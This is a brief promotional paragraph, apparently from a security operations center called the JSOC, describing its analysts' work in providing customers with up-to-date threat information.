Our security analysts are hard at work, carefully listening to customers in order to offer the
most up-to-date information available. In our effort to provide vital information, the JSOC
does not merely focus on the popular incidents that are discovered here and there, but also
strives to draw attention to significant threats that can affect our now and tomorrow.

The JSOC's hope is to provide our customers with the safety and security that they need to
conduct their business activities.
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